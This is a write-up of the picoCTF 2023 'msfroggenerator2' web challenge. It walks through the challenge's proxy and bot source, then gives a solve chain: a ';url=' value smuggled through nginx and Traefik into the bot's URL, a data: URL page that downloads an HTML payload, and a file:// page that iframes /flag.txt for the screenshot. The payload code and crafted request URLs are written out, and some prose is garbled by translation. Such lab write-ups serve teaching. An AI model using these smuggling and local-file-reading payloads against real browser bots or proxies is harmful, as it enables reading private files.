picoCTF – msfroggenerator2

Introduction

This is a web question, it seems to be linked to the one before corCTFmsfroggenerator, haha
corCTF Flag was mentionedshould have rendered client side, but this time it was finally implemented

All in all, this question tests your familiarity with various browser features and back-end services. The overall ability is relatively strong, I will give it a hundred hits.

Overview

First look at the source code docker-compose.yml , we will find that it runs four services separately

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
services:
  api:
    container_name: api
    build: ./api
    init: true
    volumes:
      - ./flag.txt:/flag.txt
  bot:
    container_name: bot
    build: ./bot
    init: true
    volumes:
      - ./flag.txt:/flag.txt
  traefik:
    image: traefik:2.9
    container_name: traefik
    volumes:
      - ./traefik/traefik.yml:/etc/traefik/traefik.yml:ro
      - ./traefik/web.yml:/etc/traefik/web.yml:ro
  openresty:
    container_name: openresty
    image: openresty/openresty:1.21.4.1-0-alpine
    ports:
      - 8080:8080
    volumes:
      - ./openresty/web.conf:/etc/nginx/conf.d/web.conf:ro
      - ./openresty/static:/var/www:ro
YAML
  • apiis the main backend, isnode
  • botIt is to simulate a browser access environment, and it is alsonode+puppteer
  • traefik acts as an intermediary proxy so that openresty can access these two services (important points to be tested later)
  • openresty is a reverse proxy with lua added. It opens a port to the outside world and is the first one accessednginx

Then let’s take a look at the configuration of nginx

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
server {
    listen 8080;
    resolver local=on;
    location / {
        add_header Content-Security-Policy "default-src 'none'; script-src 'self'; style-src 'self'; img-src https://cdn.jsdelivr.net/gh/Crusaders-of-Rust/corCTF-2022-public-challenge-archive@master/web/msfroggenerator/task/img/; connect-src 'self'" always;
        root /var/www;
    }
    location /api/ {
        proxy_set_header Host api;
        proxy_pass "http://traefik:8080";
    }
    location = /report {
        proxy_set_header Host bot;
        set_by_lua $url 'return "http://openresty:8080/?id=" .. ngx.var.arg_id';
        proxy_pass "http://traefik:8080/?url=$url";
    }
}
NGINX

Anyone outside /api/ and /report will access its static files, that is, the front end
then< /span>Both of these are set is an absolute match where are routed to api/ and reporttraefik
/report
Host

Then the more important thing is that/report there is one under the interface set_by_lua, I looked for this ngx.var.arg_xx, it is directly Used to read query parameters, and only query. So this is equivalent to concatenating a string and parameters, and then passing them to the back.
Then the url parameter obtained later can actually only start with http://openresty:8080/?id=, which is a bit outrageous

Let’s see againtraefik

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
http:
  routers:
    api:
      service: api
      rule: "Host(`api`)"
    bot:
      service: bot
      rule: "Host(`bot`)"
  services:
    api:
      loadBalancer:
        servers:
          - url: "http://api:8080"
    bot:
      loadBalancer:
        servers:
          - url: "http://bot:8080"
YAML

It’s very simple to send it to different services based on the host sent by nginx.

Then the back-end code is too long to put in. Basically it provides four interfaces

  • GET /api/get
  • POST /api/create
  • GET /api/reports/get
  • POST /api/reports/add

The first two interfaces are related to the front-end functions. Basically, they save the canvas information and have strict verification.
The last two interfaces are to save the screenshot information transmitted from the bot. And anyone can access it
There are no loopholes here, it’s very sound

The only thing I noticed is that it reads the flag header used to verify add report, so the flag is required to add screenshots

I have also read the front-end code many times, and there are no obvious bugs. The konva library used is also very good, and basically does not involve any possible xss dom operations.

Then the key point lies in this bot.

Put the first piece of code first

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import { createServer } from 'http';
import { spawn } from 'child_process';

let running = false;

createServer((req, res) => {
    const { url } = Object.fromEntries(new URL(`http://${req.headers.host}${req.url}`).searchParams);
    res.writeHead(200);
    if (!url) return res.end('Invalid request');
    if (running) return res.end('Already running!');
    (async () => {
        running = true;
        console.log('Starting...');
        const proc = spawn('node', ['bot.js', url], {
            stdio: ['inherit', 'inherit', 'inherit']
        });
        await new Promise(resolve => proc.on('exit', resolve));
        console.log('Exited');
        running = false;
    })();
    res.end('Sent!');
}).listen(8080);
JAVASCRIPT

There are very few, but there are several important information. First, the server is created, and then when the request is obtained, the request is parsed again, and the query parameter url is taken out, and then Call bot .js and pass it the url.

Stage 1 Reverse Proxy Exploit

The first thing I noticed here is the paragraph in the first line used to parse URL, because it is not used searchParams.get, but CalledObject.fromEntries. The difference is that searchParams can be traversed because there may be list parameters, that is, multiple values ​​and one key. Object.fromEntries will compress multiple items into one and always get the last one.

The picture below illustrates this very well

experiment

experiment

In other words, if there are two url that I pass in, then it will give priority to the latter one

At this time, let’s review the configuration of nginx:

1
2
3
4
{
set_by_lua $url 'return "http://openresty:8080/?id=" .. ngx.var.arg_id';
proxy_pass "http://traefik:8080/?url=$url";
}
NGINX

These two lines can be simplified to

url = "http://traefik:8080/?url=http://openresty:8080/?id=" + query_id

Did you find anything? This means that if we use query_id = "&url=任意链接", we can spoof, and
can directly bypass the restrictions of http://openresty:8080/?id= and pass any URL!

Just splice it together

url = "http://traefik:8080/?url=http://openresty:8080/?id=&url=你需要的链接""

In this way, you can get it directly here during subsequent analysis~

Have fun, then just go experiment
The result will not work

Why? Because & is a reserved word! If you use & directly, it will be treated by nginx as another parameter at the beginning and will not read you!

For the line, we use its url-encoded form, %26.
Unfortunately, %26 doesn’t work either, because ngx.var.arg_xx does not perform urldecode, restore it.
This will only allow the following parameters to be accepted in parallel with id

After being stuck for more than a day, I finally found what I needed in an issue.

Traefik >= 2.7.2 changes “;” to “&” in URL request string #9164

So some things may seem useless to you, but they are actually of great use, such as Traefik. Without it, nginx can route normally, but you cannot.

So we structure it like this~

/report?id=;url=你的链接

This allows the bot to turn it into any link you want when it receives the link later, because Traefik automatically replaces the ; symbol for you.

Stage 2 Chrome Explore

Since any URL can be passed, let’s look at the centralbot.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
import puppeteer from 'puppeteer';
import { readFile } from 'fs/promises'

const sleep = time => new Promise(resolve => setTimeout(resolve, time));
const flag = await readFile('/flag.txt', 'utf-8');

const browser = await puppeteer.launch({
    headless: false,
    pipe: true,
    dumpio: true,
    args: [
        '--incognito',
        '--js-flags=--jitless',
        '--no-sandbox'
    ],
    defaultViewport: {
        width: 1280,
        height: 720
    }
});

const visit = async () => {
    const page = await browser.newPage();
    const [url] = process.argv.slice(2);
    await page.goto('http://openresty:8080/');
    await page.evaluate(flag => {
        localStorage.setItem('flag', flag);
    }, flag);

    await page.goto(url);
    await sleep(5000);
    const screenshot = await page.screenshot({
        type: 'png',
        encoding: 'base64'
    });

    await page.evaluate(async screenshot => {
        await fetch('/api/reports/add', {
            method: 'POST',
            headers: {
                'Content-Type': 'application/json',
                'Authorization': `Bearer ${localStorage.getItem('flag')}`
            },
            body: JSON.stringify({ screenshot })
        });
    }, screenshot);
}

try { await Promise.race([ visit(), sleep(10000) ]); } catch(e) { console.log(e) };
await browser.close();
JAVASCRIPT

Our old friend Puppeteer is used here to control a chrome browser. Note that it is not headless, but has an interface, because screenshots are required

It first accepts parametersURL, then accesses the main sitehttp://openresty:8080/ and then inserts a flag into localStorage .
Then go to the customized URL and wait 5 seconds and then take a screenshot and send it to report interface. The
report interface requires flag , so it reads immediately from localStrage

Okay, it doesn’t seem difficult to see a bunch of them here. We just need to take out from localStorage and that’s it! Actually, it’s more difficult hereflag

First of all, localStorage follows strict cross-domain access blocking in the specification. The protocol, host, and port number must be the same to access, and even subdomain names cannot be accessed.

This means that if we want to read localStorage then we must use some type of XSS injection script into the interface to steal the content of localStorage< /span>

As mentioned above, this front end is almost impeccable, and the CSP is also very strict.
My second thought was, what if we use url = javascript:代码 to make it stay on the current page and execute the code?
Unfortunately, puppteer this can’t be done

This road doesn’t work anymore. so what to do

I’m stuck here, mainly searching for some exploitable vulnerabilities that break chrome’s isolation. However, the one used here is too new (Chrome Version == 111.0.0), so no usable POC was found.

Okay, then since we can’t read from localStorage, we read directly from its source! Read its file!

Stage 3 Chrome %Any% URL Exploit

As you can see from the above, we can let the browser access any URL! Whatever!
So we can specify different Schemes for it to access, such as datablobjavascript, or evenfile!

According to the previous docker-compose.yml, we know that the flag is stored in /flag.txt
, that is to say, it can be accessed using file:///flag.txt it!

It is indeed possible to experiment with the browser, but how do we send the Flag back?

First of all, I have to introduce Chrome’s strict cross-domain mechanism, and it also has a unique protection mechanism for the file scheme.

For things that directly obtain information such as fetch, cross-domain is not possible, and file is in a special place, it and < a i=3> also uses as and cannot access each other. datanullorigin

If external access to the content of file will be directly blocked by chrome and say Not allowed to load local resource

In other words, I cannot use anything other than file to directly obtain the content of file, even open Neither iframe nor can access file, and this is indeed done for security. Otherwise, any website can read your local data, I’m really scared

However,chrome is lax in one place, that is, file is not subject to this restriction when accessing file . Because sometimes you really need to open a local html to debug and so on.

It should be noted that when accessing from file, we cannot use cross-domain methods to directly obtain information, such as and return object. But and can be used normally. filefetchopenopeniframe

And this thing is a real browser, the same one you use! Then there will be writing to the file system, that is, saving the file.

After experiments, it runs as Root in this system, so our files will eventually be written to the /root/Downloads/ directory. This is a definite and decisive conclusion.

Okay, then I thought about it all morning and summarized a set of attack procedures as follows:

  1. The first request first saves a file locally through the data domain, which contains our payloadhtml
  2. The second request opens the file we saved, so that we gain access to afile domain, that is, we can freely nest and open new local files
  3. Finally, the timing is stuck at the moment of taking the screenshot. The screenshot is taken to flag and jumps to http://openresty:8080 at the same time. Let the next code send the screenshot. We You can see flag.

Okay, now comes the happy payload construction time

Stage 4 Build Payload

For speed I choose to use data to deliver the web page and save the downloaded file

1
2
3
4
5
6
7
<body></body>
<script>let blob = new Blob([atob("<放入我们保存的html内容的b64编码>")], {type: 'text/html'});
let a = document.createElement("a");
a.download = "flagger.html";
a.href = URL.createObjectURL(blob);
document.body.appendChild(a);
a.dispatchEvent(new MouseEvent('click', {bubbles: true, cancelable: true}));</script>
HTML

This code is a very classic saving mechanism, which saves files by triggering a click event.

Then the downloaded file needs to be displayed first flag for screenshot, and then quickly jump to the main page to complete the return

1
2
3
4
5
6
7
8
9
<iframe src="file:///flag.txt"></iframe>
<script>
    setTimeout(() => {
        let t = 5000 + (Math.random() * 2 - 1) * 100
        setTimeout(() => {
            document.location.href = "http://openresty:8080/api/get"
        }, t)
    })
</script>
JS

This iframe is responsible for displaying the content of the flag, and the following setTimeout is responsible for timing jumps

You ask me why I added a random number? When we want to get stuck, of course we have to make the timing random and let it crash! ! ! Just hit the middle of two function calls~

Okay, let’s construct the URL

  1. /report?id=;url=data:html/text,第一段payload
  2. /report?id=;url=file:///root/Downloads/flagger.html

The second request is written in a loop and sent continuously. Finally, we check the screenshot results at the end point~

  • /api/reports/get

Final result~

Explode gold coins

Explode gold coins

FinishpicoCTF 2023 msfroggenerator2

This time is really meaningful, and I learned a lot in the process of solving problems. Thank you to my friends who participated with me!